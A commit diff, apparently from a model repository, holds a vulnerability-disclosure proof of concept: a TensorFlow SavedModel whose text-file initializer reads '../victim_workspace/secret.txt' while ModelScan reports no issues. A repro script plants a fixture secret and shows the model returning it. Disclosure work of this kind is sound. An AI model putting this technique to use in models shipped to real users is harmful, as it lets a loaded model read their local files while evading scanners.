Upload 4 files

README.md

@@ -0,0 +1,40 @@
+---
+library_name: tensorflow
+tags:
+- security-research
+- tensorflow
+- savedmodel
+- modelscan
+---
+
+# TensorFlow SavedModel TextFileInitializer ModelScan Bypass PoC
+
+This is a harmless proof-of-concept TensorFlow SavedModel for an authorized Huntr report.
+
+The model contains `InitializeTableFromTextFileV2` and a model-controlled relative filename:
+
+```text
+../victim_workspace/secret.txt
+```
+
+ModelScan 0.8.8 reports zero issues for this `saved_model.pb`, while TensorFlow 2.21.0 loads the model and returns the first line of that local file through `serving_default`.
+
+Run:
+
+```bash
+cd <repo-root>
+python -m venv .venv
+source .venv/bin/activate
+python -m pip install -r requirements.txt
+CUDA_VISIBLE_DEVICES=-1 python repro.py
+```
+
+Expected:
+
+```json
+{
+  "modelscan_issue_count": 0,
+  "leaked_expected_line": true,
+  "visible_gpu_count": 0
+}
+```

repro.py

@@ -0,0 +1,57 @@
+import json
+import os
+from pathlib import Path
+
+import tensorflow as tf
+from modelscan.modelscan import ModelScan
+
+
+ROOT = Path(__file__).resolve().parent
+SECRET_LINE = "TOKEN_FROM_MODEL_CHOSEN_FILE=local-fixture-secret"
+
+
+def scan_model() -> int:
+    scanner = ModelScan()
+    scanner.scan(ROOT)
+    return len(scanner.issues.all_issues)
+
+
+def run_model() -> str:
+    loader_cwd = ROOT / "loader_cwd"
+    victim_workspace = ROOT / "victim_workspace"
+    loader_cwd.mkdir(exist_ok=True)
+    victim_workspace.mkdir(exist_ok=True)
+    (victim_workspace / "secret.txt").write_text(SECRET_LINE + "\n")
+
+    old_cwd = Path.cwd()
+    os.chdir(loader_cwd)
+    try:
+        model = tf.saved_model.load(str(ROOT))
+        output = model.signatures["serving_default"](x=tf.constant(1.0))[
+            "leaked_line"
+        ]
+        return output.numpy().decode("utf-8", errors="replace")
+    finally:
+        os.chdir(old_cwd)
+
+
+def main() -> None:
+    leaked_line = run_model()
+    print(
+        json.dumps(
+            {
+                "tensorflow_version": tf.__version__,
+                "visible_gpu_count": len(tf.config.list_physical_devices("GPU")),
+                "cuda_visible_devices": os.environ.get("CUDA_VISIBLE_DEVICES"),
+                "modelscan_issue_count": scan_model(),
+                "leaked_line": leaked_line,
+                "leaked_expected_line": leaked_line == SECRET_LINE,
+            },
+            indent=2,
+            sort_keys=True,
+        )
+    )
+
+
+if __name__ == "__main__":
+    main()

requirements.txt

@@ -0,0 +1,2 @@
+tensorflow==2.21.0
+modelscan==0.8.8

saved_model.pb

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:ae95329e0877bb4a1b314cbf9b0391711bdd681917c97b55b730e56761e24a78
+size 2090